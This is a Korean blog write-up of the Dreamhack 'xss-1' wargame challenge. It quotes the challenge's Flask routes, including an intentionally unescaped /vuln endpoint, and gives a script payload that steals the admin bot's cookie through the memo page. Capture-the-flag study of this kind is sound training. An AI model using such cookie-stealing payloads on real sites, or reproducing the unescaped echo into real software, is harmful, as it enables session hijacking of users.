ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • xss-1
    해킹/웹해킹 실전 2023. 11. 21. 00:34

    https://dreamhack.io/wargame/challenges/28

     

    xss-1

    여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. 플래그 형식은 DH{...} 입니다. 문제 수정 내역

    dreamhack.io

    def read_url(url, cookie={"name": "name", "value": "value"}):
        cookie.update({"domain": "127.0.0.1"})
        try:
            service = Service(executable_path="/chromedriver")
            options = webdriver.ChromeOptions()
            for _ in [
                "headless",
                "window-size=1920x1080",
                "disable-gpu",
                "no-sandbox",
                "disable-dev-shm-usage",
            ]:
                options.add_argument(_)
            driver = webdriver.Chrome(service=service, options=options)
            driver.implicitly_wait(3)
            driver.set_page_load_timeout(3)
            driver.get("http://127.0.0.1:8000/")
            driver.add_cookie(cookie)
            driver.get(url)
        except Exception as e:
            driver.quit()
            # return str(e)
            return False
        driver.quit()
        return True
    
    
    def check_xss(param, cookie={"name": "name", "value": "value"}):
        url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
        return read_url(url, cookie)

    return param이니까 vulun의 param으로 들어간 값을 바로 실행해준다. 따라서 param에 실행할 수 있는 script태그를 넣어야한다.

    @app.route("/vuln")
    def vuln():
        param = request.args.get("param", "")
        return param

    flag 에서 post 로 호출을 보내면 check_xss 에서 vuln으로 들어가고 실행한다. 따라서 flag의 input tag에 <script>를 넣어준다.

    <script>location.href="/memo?memo="+document.cookie;</script>

    를 넣어주면 위의 vuln홈페이지에서 <script> 태그가 실행되고 메모에 플래그가 저장된다.

    @app.route("/flag", methods=["GET", "POST"])
    def flag():
        if request.method == "GET":
            return render_template("flag.html")
        elif request.method == "POST":
            param = request.form.get("param")
            if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
                return '<script>alert("wrong??");history.go(-1);</script>'
    
            return '<script>alert("good");history.go(-1);</script>'

    보면 지금 메모라는 파라미터(인수)로 들어오는 값을 global variable인 memo_text에 저장한다. 따라서 해당 memo_text에 flag를 저장해 확인 할 수 있다.

    @app.route("/memo")
    def memo():
        global memo_text
        text = request.args.get("memo", "")
        memo_text += text + "\n"
        return render_template("memo.html", memo=memo_text)

     

    vuln에서 그대로 param으로 들어오는 값을 그대로 return하는 코드를 활용해 flag에 script를 넣음으로써 memo_Text에 flag를 저장 할 수 있다.

    '해킹 > 웹해킹 실전' 카테고리의 다른 글

    csrf-1  (0) 2023.11.21
    xss-2  (0) 2023.11.21
    session-basic  (0) 2023.11.21
    cookie  (1) 2023.11.20

    댓글

Designed by Tistory.